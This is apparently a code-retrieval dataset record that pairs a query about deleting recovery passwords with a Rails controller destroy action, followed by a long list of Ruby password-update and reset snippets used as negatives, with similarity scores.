"def update\n @user = current_user\n @user_locations = @user.user_locations\n \n old_password = @user.sync_password\n \n new_password = request_password\n \n # @user_locations.each do |ul|\n request = request_github(@user.user_locations.where({ :location_id => 1 }).first.login_name, old_password, new_password)\n # end\n \n unless request.nil?\n # TXT user\n txt_user(@user.cell_phone, request)\n \n # Save new password to user\n @user.update_attributes({ :sync_password => request })\n \n redirect_to root_url, :notice => \"New password TXT'd to your cell phone.\"\n else\n redirect_to root_url, :notice => 'Authentication Failed. Try again.'\n end\n end",
"def update_current_logged_in_users_password(args = {}) \n id = args['id']\n temp_path = \"/users.json/current/password\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n # make sure user is authorized\n unless @resource\n return render json: {\n success: false,\n errors: ['Unauthorized']\n }, status: 401\n end\n\n # ensure that password params were sent\n unless password_resource_params[:password] and password_resource_params[:password_confirmation]\n return render json: {\n success: false,\n errors: ['You must fill out the fields labeled \"password\" and \"password confirmation\".']\n }, status: 422\n end\n\n if @resource.update_attributes(password_resource_params)\n return render json: {\n success: true,\n data: {\n user: @resource,\n message: \"Your password has been successfully updated.\"\n }\n }\n else\n return render json: {\n success: false,\n errors: @resource.errors\n }, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @password_tier.update(password_tier_params)\n format.html { redirect_to @password_tier, notice: 'PasswordTier was successfully updated.' }\n format.json { render :show, status: :ok, location: @password_tier }\n else\n format.html { render :edit }\n format.json { render json: @password_tier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def password_update\n redirect_to lato_core.root_path unless core_getRecoveryPasswordPermission\n user = LatoCore::Superuser.find(params[:id])\n if !user || user.session_code != params[:token]\n flash[:warning] = CORE_LANG['recover_password']['recover_error']\n redirect_to lato_core.login_path and return false\n end\n user.update(password: params[:password], password_confirmation: params[:password])\n if !user.save\n flash[:warning] = CORE_LANG['recover_password']['recover_error']\n redirect_to lato_core.login_path and return false\n end\n\n flash[:success] = CORE_LANG['recover_password']['recover_success']\n redirect_to lato_core.login_path\n end",
"def update_resource(resource, params)\n return super if params[\"password\"]&.present?\n resource.update_without_password(params.except(\"current_password\"))\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes p\n end",
"def update\n respond_to do |format|\n if @xmt_mgr_password.update(xmt_mgr_password_params)\n format.html { redirect_to @xmt_mgr_password, notice: 'Password was successfully updated.' }\n format.json { render :show, status: :ok, location: @xmt_mgr_password }\n else\n format.html { render :edit }\n format.json { render json: @xmt_mgr_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @password_setting.update(password_setting_params)\n format.html { redirect_to @password_setting, notice: 'Password setting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @password_setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reset_password\n if request.get?\n @key = params[:key]\n @user_id = params[:id]\n @password = \"\"\n @password_confirmation =\"\"\n raise Webapp::BadParametersError if @key.nil? || @user_id.nil?\n user = User.find(@user_id)\n #check if user has previouly requested a chenge to the password\n password_recovery = PasswordRecovery.find_by_user_id(@user_id)\n raise Webapp::NoSuchPasswordRecovery if password_recovery.nil?\n raise Webapp::BadParametersError if @key != password_recovery.key\n elsif request.put?\n @key = params[:key]\n \n @user_id = params[:id]\n @password = params[:password]\n @password_confirmation =params[:password_confirmation]\n raise Webapp::BadParametersError if (@key.nil? || @key.empty? || @user_id.nil? || @user_id.empty? ||\n @password.nil? || @password.empty? || @password_confirmation.nil? || @password_confirmation.empty?)\n \n #TODO: link this validation to model validation\n raise Webapp::InvalidPasswordError if @password.size < 5 || @password.size > 150\n raise Webapp::NoPasswordMatchError if @password != @password_confirmation\n \n user = User.find(@user_id)\n password_recovery = PasswordRecovery.find_by_user_id(user.id)\n raise Webapp::NoSuchPasswordRecovery if password_recovery.nil?\n \n #now we can change the password and remove the PasswordRecovery\n #Do this inside a small transaction\n user.transaction do\n user.password=@password\n PasswordRecovery.destroy(password_recovery.id)\n user.save!\n flash_notice(:password_changed_successfully)\n redirect_to new_session_url\n end\n else\n raise Webapp::BadRequestError\n end\n \n rescue Webapp::InvalidPasswordError\n logger.error(\"Invalid password format. Client IP: \"+request.remote_ip)\n flash_error(:invalid_password)\n render :action=>:reset_password\n rescue Webapp::NoPasswordMatchError\n logger.error(\"Password don't match. Client IP: \"+request.remote_ip)\n flash_error(:password_dont_match)\n render :action=>:reset_password\n #Error Handling\n rescue Webapp::BadRequestError\n logger.error(\"Invalid Request type. Client IP: \"+request.remote_ip)\n flash_error(:invalid_request)\n redirect_to root_url\n rescue Webapp::NoSuchPasswordRecovery \n logger.error(\"Trying to reset password for a user that haven't request a pass change. Client IP: \"+request.remote_ip)\n flash_error(:reset_password_invalid_key)\n redirect_to root_url\n \n rescue Webapp::BadParametersError\n logger.error(\"Invalid data provided when reseting password. Client IP: \"+request.remote_ip)\n flash_error(:reset_password_invalid_key)\n redirect_to root_url\n rescue ActiveRecord::RecordNotFound\n logger.error(\"User not found when reseting password. Client IP: \"+request.remote_ip)\n flash_error(:user_not_found)\n redirect_to root_url\n end",
"def change_password\r\n \r\n end",
"def update_password\n\t\tparameters=params[:body]\n\t\t @my_accounts=@current_user\n\t\t\tif @my_accounts.valid_password?(parameters[:current_password])\n\t\t\t if @my_accounts.updatePassword(parameters)\n\t\t\t\t render :json=>success1\n\t\t\t\telse\n\t\t\t\t render :json=>failure1(:current_password=>[\"Current password is wrong\"])\n\t\t\t end\n\t\t else\n\t\t render :json=>failure1(@my_accounts.errors)\n\t\t end\n\tend",
"def update\n respond_to do |format|\n if @password.update(password_params)\n format.html { redirect_to @password, notice: 'Password was successfully updated.' }\n format.json { render :show, status: :ok, location: @password }\n else\n format.html { render :edit }\n format.json { render json: @password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.updating_password = false\n \trespond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def password\n if @user.update_with_password(password_params)\n render_update_success @user\n else\n render_failure @user\n end\n end",
"def test_change_password_successful\n data = {\n current_password: \"1234567890\",\n password: \"new-password\",\n password_confirmation: \"new-password\"\n }\n\n user_id = 34\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s+'/password')\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def attempt_set_password(params)\n p={}\n p[:password]=params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes(p)\n end",
"def update_resource(resource, params)\n # Require current password if user is trying to change password.\n return super if params[\"password\"]&.present?\n # Allows user to update registration information without password.\n resource.update_without_password(params.except(\"current_password\"))\n end",
"def update_password\n @employee = current_employee\n if @employee.update_with_password(params_employee)\n redirect_to root_path\n else\n render :action => \"edit_password\"\n end\n end",
"def edit_password; end",
"def attempt_set_password(params)\n\t p = {}\n\t p[:password] = params[:password]\n\t p[:password_confirmation] = params[:password_confirmation]\n\t update_attributes(p)\n end",
"def change_password!(password)\n json = JSON.generate(:changePassword => { :adminPass => password })\n @compute.connection.req('POST', \"/servers/#{@id}/action\", :data => json)\n @adminPass = password\n end",
"def set_recovery_password\n @recovery_password = RecoveryPassword.find(params[:id])\n end",
"def password_change_new\n\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(resource, params)\n resource.update_with_password(params)\n end",
"def update_resource(object, attrs)\n object.update_with_password(*attrs)\n end",
"def update\n @old_password = Digest::SHA1.hexdigest(params[:old_password])\n @password = params[:user][:password]\n @repeat_password = params[:repeat_password]\n respond_to do |format| \n if @old_password == @current_user.password\n @old_password = 1\n else \n @old_password = 0\n end\n if @repeat_password == @password\n @repeat_password = 1\n else \n @repeat_password = 0\n end\n if @old_password == 1 && @repeat_password == 1 && @current_user.update_attributes(params[:user])\n flash[:notice] = \"Password cambiata con successo\"\n format.html{redirect_to timetables_url}\n format.js{render(:update) {|page| page.redirect_to timetables_url}}\n end\n format.html{render :action => :edit}\n format.js{}\n end\n end",
"def update_resource(resource, params)\n # Require current password if user is trying to change password.\n return super if params['password']&.present?\n\n # Allows user to update registration information without password.\n resource.update_without_password(params.except('current_password'))\n end",
"def attempt_set_password(params)\n update_attributes(password: params[:password], password_confirmation: params[:password_confirmation])\n end",
"def pw_admin\n @user = User.find(params[:id])\n new_password = Devise.friendly_token(50)\n user.reset_password(new_password, new_password)\n user.send_rest_password_instructions\n end",
"def update_password\n if resource.update_password(params[resource_name])\n set_flash_message :notice, :password_updated if is_navigational_format?\n sign_in resource_name, resource, :bypass => true\n respond_with resource, :location => after_update_path_for(resource)\n else\n clean_up_passwords(resource)\n render :edit_password\n end\n end",
"def recover_password(new_password)\n url = \"user/#{user_sys_name}/#{user_id}/recovery/?\"\n request = { newPassword: new_password }\n response = Uas::Query.execute(url, request: request, method: :put)\n case response[:code]\n when 200 then true\n else false\n end\n end",
"def update_resource(resource, params)\n if params[\"password\"]&.present? or params[\"email\"]&.present?\n return super\n else\n resource.update_without_password(params.except(\"current_password\"))\n end\n end",
"def change_password\n\t\t\tresult = User.change_password params[:user]\n\n\t\t\trender json: result\n\t\tend",
"def update_password\n if params[:current_password].present? && @user.valid_password?(params[:current_password])\n @user.update(password: params[:new_password])\n if @user.errors.any?\n render json: @user.errors.messages, status: 400\n else\n render json: { message: \"Password updated successfully!\" }, status: 200\n end\n else\n render json: { message: \"Current Password is not present or invalid!\" }, status: 400\n end\n rescue StandardError => e # rescue if any exception occurr\n render json: { message: \"Error: Something went wrong... \" }, status: :bad_request\n end",
"def change_password\n set_breadcrumbs(\"change_password\") \n if request.post? || request.patch? \n admin = Admin.find(current_admin.id)\n @check = params[:admin][:password] == params[:admin][:password_confirmation] && params[:admin][:password].present? && params[:admin][:password_confirmation].present?\n if admin.present? && admin.valid_password?(params[:admin][:old_password])\n if @check \n if admin.update_attribute(:password, params[:admin][:password])\n sign_in admin, :bypass => true\n flash[:notice] = I18n.t('change_password.update.success')\n redirect_to admin_root_path\n else\n flash[:error] = I18n.t('common.error') \n end\n else\n flash[:error] = I18n.t('change_password.failure.password_is_not_match')\n end\n else\n flash[:error] = I18n.t('change_password.failure.invalid_old_password')\n end\n end\n end",
"def update_password\n @user = User.find_by_uuid(params[:id])\n if @user.update(user_params_with_password)\n if @user.send_password.present? && @user.send_password.to_i == 1\n @user.send_welcome_email\n end\n flash[:success] = t('messages.default_success')\n redirect_to users_path\n else\n flash[:error] = t('messages.default_error')\n render :edit_password\n end\n end",
"def update\n @user.update!(\n password: params[:password],\n password_confirmation: params[:password_confirmation],\n reset_password_token: nil,\n reset_password_token_exp: nil\n )\n\n head 204 # rails 5.2 styntax that renders a 204 status and no body\n rescue ActiveRecord::RecordInvalid => e\n handle_errors(e)\n end",
"def test_change_password\n response=@root_key_api.change_password(\"[email protected]\",\"password\",@account_id, \"xyzzy\")\n response=@root_key_api.change_password(\"[email protected]\",\"xyzzy\",@account_id, \"password\")\n end",
"def update_password\n if params[:current_password].present? && @current_user.valid_password?(params[:current_password])\n @current_user.update(password: params[:new_password])\n if @current_user.errors.any?\n render json: @current_user.errors.messages, status: 400\n else\n render json: { message: \"Password updated successfully!\" }, status: 200\n end\n else\n render json: { message: \"Current Password is not present or invalid!\" }, status: 400\n end\n rescue StandardError => e # rescue if any exception occurr\n render json: { message: \"Error: Something went wrong... \" }, status: :bad_request\n end",
"def update\n self.resource = resource_class.reset_password_by_token(resource_params)\n\n if resource.errors.empty?\n sign_in(resource_name, resource)\n else\n @message = t('Wrong current password')\n end\n end",
"def update_resource(resource, params)\n # if params['email'] != current_user.email || params['password'].present?\n # resource.update_with_password(params)\n # else\n resource.update_without_password(params.except('password', 'password_confirmation', 'current_password'))\n # end\n end",
"def change_password\n if params[:user][:current_password].present? && params[:user][:password].present?\n @user = @current_user.update_with_password(change_password_params)\n if @user\n render_json({:result=>{:messages =>[\"ok\"],:rstatus=>1, :errorcode =>\"\"},:data=>{:messages =>[\"Your Password Successfully updated\"]}}.to_json)\n else\n render_json({:result=>{:messages =>@current_user.display_errors,:rstatus=>0, :errorcode => 404}}.to_json)\n end\n else\n render_json({:result=>{:messages =>[\"Invaild User / Current Password and Password required\"],:rstatus=>0, :errorcode => 404}}.to_json)\n end\n end",
"def update\n respond_to do |format|\n if @user.update_with_password(user_params)\n sign_in @user, :bypass => true\n format.html { redirect_to edit_user_path(current_user), notice: 'Profile updated successfully.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: current_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_password\r\n respond_to do |format|\r\n if @user.update(user_params)\r\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @user }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @user.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @user.password_changed?\n sign_in(@user, :bypass => true)\n else\n if @user.update(user_params)\n format.html { redirect_to \"/\", notice: t('success_update') }\n format.json { render :show, status: :ok, location: \"/\" }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\nend",
"def update\n # Make the password confirmation validation work.\n @user.password_confirmation = params[:user][:password_confirmation]\n\n # Don't require entry of the old password.\n @user.resetting_password = true\n\n # Clear the temporary token and update the password.\n if @user.change_password!(params[:user][:password])\n redirect_to(root_path, notice: t('password_resets.update.password_updated'))\n else\n render action: \"edit\"\n end\n end",
"def send_password_change_notification; end",
"def update_password(new_password)\n updated_data = Login.load_data.each do |user|\n user['password'] = new_password if user['id'] == Login.user.uid.to_s\n end\n File.open(Login.userdata, 'w') do |f|\n f.puts JSON.pretty_generate(updated_data)\n end\n end",
"def update_resource(resource, params)\n # abort params.inspect\n resource.update_without_password(params)\n end",
"def test_change_password_blocks_with_invalid_data_on_POST_when_logged_in\n set_user\n\n patches = [ \n [ :current_password => nil], [ :current_password => 'not the password' ],\n [ :password => nil], [ :password => 'not the password' ],\n [ :password_confirmation => nil], [ :password_confirmation => 'not the password' ]\n ]\n \n patches.each do |patch|\n key, value = patch\n \n invalid_data = @valid_data.dup\n \n post :change_password, invalid_data\n \n assert_response :success\n assert_template 'change_password'\n\n user = User.find(@zeus_user.id)\n assert user.password_equals?(@valid_data[:password])\n end\n end",
"def update\n if request.format.html? && params[\"user\"][\"password\"].present? &&\n params[\"user\"][\"password\"] == params[\"user\"][\"password_confirmation\"] &&\n params[\"user\"][\"password\"] == params[\"user\"][\"current_password\"]\n flash[:alert] = ERROR_MESSAGE_FOR_PASSWORD\n redirect_to edit_user_registration_path and return\n elsif request.format.html?\n super\n else\n @user = User.find_by_authentication_token(params[:token])\n if !params[:user].nil? && [email protected]?\n if params[\"user\"][\"password\"].present? &&\n params[\"user\"][\"password\"] == params[\"user\"][\"password_confirmation\"] &&\n params[\"user\"][\"password\"] == params[\"user\"][\"current_password\"]\n render :json=> { :status => 404, :message => ERROR_MESSAGE_FOR_PASSWORD} and return\n end\n if @user.valid_password?(params[:user][:current_password])\n @user.update_attributes(allow_registration_parameters) ? (render :json=> {:status => 200, :user => @user, :message => \"User details updated.\"}) :\n (render :json=> {:status => 404,:message => @user.errors.full_messages.join(\"<br/>\").html_safe})\n return\n else\n render :json=> {:status => 404, :message => \"Current password entered is wrong.\"}\n end\n else\n render :json=> {:status => 404, :message => \"Invalid authentication token used.\"}\n end\n\n end\n\n end",
"def update\n @user = User.find(params[:id])\n if params[:user][:password].blank?\n params[:user].delete(:password)\n end\n \n respond_to do |format|\n if @user.update_attributes(user_params)\n sign_in @user, :bypass => true #should be if password is updated\n format.html { render :action => 'show', :notice => 'Din profil blev opdateret og vi har gemt dine ændringer' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_password\n @user = User.find(params[:id]) \n \n respond_to do |format|\n if @user.hashed_password != User.encrypt_password(params[:old_password], @user.salt)\n\[email protected](:base, :old_password_not_correct)\n\tformat.html { render action: \"edit_password\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n elsif @user.update_attributes(params[:user])\n\tsession[:user_id] = nil\n format.html { redirect_to login_url, alert: I18n.t('msg.update_password_success') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit_password\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @secure_password.update(secure_password_params)\n format.html { redirect_to @secure_password, notice: 'Secure password was successfully updated.' }\n format.json { render :show, status: :ok, location: @secure_password }\n else\n format.html { render :edit }\n format.json { render json: @secure_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_without_password(params, *options); end",
"def changePassword\n @user = User.find_by(email: params[:email])\n @user.password = params[:password]\n @user.save()\n if @user.save\n render :ok, json: {}\n else\n @errors = @user.errors.full_messages\n render json: { message: @errors }, status: :unprocessable_entity\n end\n end",
"def update\n @user.password = params[:password]\n @user.password_confirmation = params[:password_confirmation]\n return unless @user\n if @user.save\n flash[:notice] = t 'password_resets.updated'\n redirect_to @user\n else\n render :action => :edit\n end\n end",
"def update\n @user = User.find_by_forgot_password_token(params[:forgot_password_token])\n raise_404 unless good_password_change_request?\n\n @user.password_required!\n if @user.update_attributes(password_params)\n signin_user!(@user)\n flash[:success] = \"Changed password successfully!\"\n redirect_to dashboard_url\n else\n flash.now[:alert] = \"Couldn't change password. See below.\"\n render :reset_password\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params.except(:current_password), *options)\n else\n update_with_password_pass(params)\n end\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end"
] | [
"0.7038705",
"0.6849744",
"0.6849744",
"0.6739247",
"0.6659965",
"0.6589009",
"0.65321237",
"0.65321237",
"0.64814776",
"0.6469921",
"0.6428219",
"0.64126647",
"0.64113885",
"0.64082414",
"0.63714933",
"0.6342289",
"0.6268501",
"0.6267053",
"0.626467",
"0.62633336",
"0.625635",
"0.62542987",
"0.6248371",
"0.62413067",
"0.6237893",
"0.622071",
"0.6201528",
"0.61910975",
"0.61815923",
"0.6171562",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.6170334",
"0.61656713",
"0.61631304",
"0.61570066",
"0.61480457",
"0.61468905",
"0.61419874",
"0.6133475",
"0.6128933",
"0.6123495",
"0.61224294",
"0.6117533",
"0.6117533",
"0.6117533",
"0.6117533",
"0.6117533",
"0.6117533",
"0.6117533",
"0.6098995",
"0.6093365",
"0.6092729",
"0.6087117",
"0.60841686",
"0.6076225",
"0.60730606",
"0.6059765",
"0.6057026",
"0.60567397",
"0.604666",
"0.60330564",
"0.60281414",
"0.6018033",
"0.6017441",
"0.60142463",
"0.6013938",
"0.600514",
"0.5995331",
"0.59879696",
"0.59764093",
"0.597176",
"0.59680253",
"0.5962079",
"0.59607804",
"0.59594566",
"0.59547055",
"0.5944406",
"0.5933195",
"0.5932405",
"0.5929861",
"0.5925216",
"0.5924238",
"0.5902796",
"0.58985794",
"0.5892064"
] | 0.6532131 | 6 |
DELETE /recovery_passwords/1 DELETE /recovery_passwords/1.json | def destroy
@recovery_password.destroy
respond_to do |format|
format.html { redirect_to recovery_passwords_url, notice: 'Recovery password ha sido eliminado.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @password.destroy\n respond_to do |format|\n format.html { redirect_to passwords_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @xmt_mgr_password.destroy\n respond_to do |format|\n format.html { redirect_to xmt_mgr_passwords_url, notice: 'Password was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @secure_password.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_index_path, notice: 'Secure password was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @password_setting.destroy\n respond_to do |format|\n format.html { redirect_to password_settings_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @password = Password.find(params[:id])\n @password.destroy\n\n respond_to do |format|\n format.html { redirect_to(passwords_url) }\n format.xml { head :ok }\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @pass = Passbook::Pass.where(pass_type_identifier: params[:pass_type_identifier], serial_number: params[:serial_number]).first\n head :not_found and return if @pass.nil?\n head :unauthorized and return if request.env['HTTP_AUTHORIZATION'] != \"ApplePass #{@pass.authentication_token}\"\n\n @registration = @pass.registrations.where(device_library_identifier: params[:device_library_identifier]).first\n head :not_found and return if @registration.nil?\n\n @registration.destroy\n\n head :ok\n end",
"def destroy\n @password_tier.destroy\n respond_to do |format|\n format.html { redirect_to password_tiers_url, notice: 'PasswordTier was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @secret.destroy\n respond_to do |format|\n format.html { redirect_to secrets_url, notice: 'El secreto se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n # @credential.destroy\n # respond_to do |format|\n # format.html { redirect_to credentials_url, notice: 'Credential was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end",
"def destroy\n if params[:admin_password] == ENV[\"ADMIN_PASSWORD\"]\n @keg.destroy\n respond_to do |format|\n format.html { redirect_to Keg, notice: \"Le fût a été supprimé.\"}\n format.json { head :no_content }\n end\n end\n end",
"def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend",
"def destroy\n @recovery.destroy\n respond_to do |format|\n format.html { redirect_to recoveries_url, notice: 'Recovery was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @secret_key.destroy\n respond_to do |format|\n format.html { redirect_to secret_keys_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credential_key.destroy\n respond_to do |format|\n format.html { redirect_to credential_keys_url, notice: 'Credential key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def webhelper_delete_all_signing_keys(username, password, base_url = @base_url)\r\n private_resource = RestClient::Resource.new base_url + \"/api/v1/keys\", {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.get :accept => :json\r\n json = JSON.parse(response)\r\n\r\n puts \"\"\r\n # delete ios signing_keys\r\n puts \"+ Delete iOS signing-key: \"\r\n json['keys']['ios']['all'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts \"+ \" + response.to_str\r\n end\r\n # delete android signing_keys\r\n puts \"+ Delete Android signing-key: \"\r\n json['keys']['android']['all'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts \"+ \" + response.to_str\r\n end\r\n # delete blackberry signing_keys\r\n puts \"+ Delete BlackBerry signing-key: \"\r\n json['keys']['blackberry']['all'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts \"+ \" + response.to_str\r\n end\r\n end",
"def destroy\n @credential.destroy\n respond_to do |format|\n format.html { redirect_to credentials_url, notice: 'Credential was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def remove\n get_credentials\n begin\n response = resource[\"/remove/#{app}\"].post(:apikey => @credentials[1])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end",
"def destroy\n \n keystone.delete_tenant(keystone.get_tenant(params[:id])[:id])\n\n respond_to do |format|\n format.html { redirect_to tenants_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @passwordrepository.destroy\n respond_to do |format|\n format.html { redirect_to passwordrepositories_url, notice: 'Passwordrepository was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def http_delete(opts={})\n ret=http_delete_low(opts)\n if ret.is_a?(Hash) and ret.has_key?('error') and ret['error']=='Invalid Credentials' then\n\tauthdefault\n\tret=http_delete_low(opts)\n\treturn ret\n else\n\treturn ret\n end\n end",
"def destroy\n @swift_api_key.destroy\n respond_to do |format|\n format.html { redirect_to swift_api_keys_url, notice: 'Swift api key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @login_key = LoginKey.find(params[:id])\n @login_key.destroy\n\n respond_to do |format|\n format.html { redirect_to login_keys_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @keystore.destroy\n respond_to do |format|\n format.html { redirect_to keystores_url, notice: 'Keystore was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteLogin( login_id)\n params = Hash.new\n params['login_id'] = login_id\n return doCurl(\"delete\",\"/login\",params)\n end",
"def destroy\n debug(\"#{self.class}::destroy\")\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n\n end\n\n\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n resourceType = \"storageservicelevel\"\n\n if(transport.http_delete_request(apiUri ,resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully deleted\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully deleted\"\n\t\t\tend\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} deletion failed\"\n\t\t else\n\t\t\t puts \" #{resourceType} deletion failed\"\n\t\t end\n end\n\nend",
"def destroy\n @privilege.destroy\n respond_to do |format|\n format.html { redirect_to privileges_url }\n format.json { head :no_content }\n end\n end",
"def revoke\n post('/api/revoke')\n end",
